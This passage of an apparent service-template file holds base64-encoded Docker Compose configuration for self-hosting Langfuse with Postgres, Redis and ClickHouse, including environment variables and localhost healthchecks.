SR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6C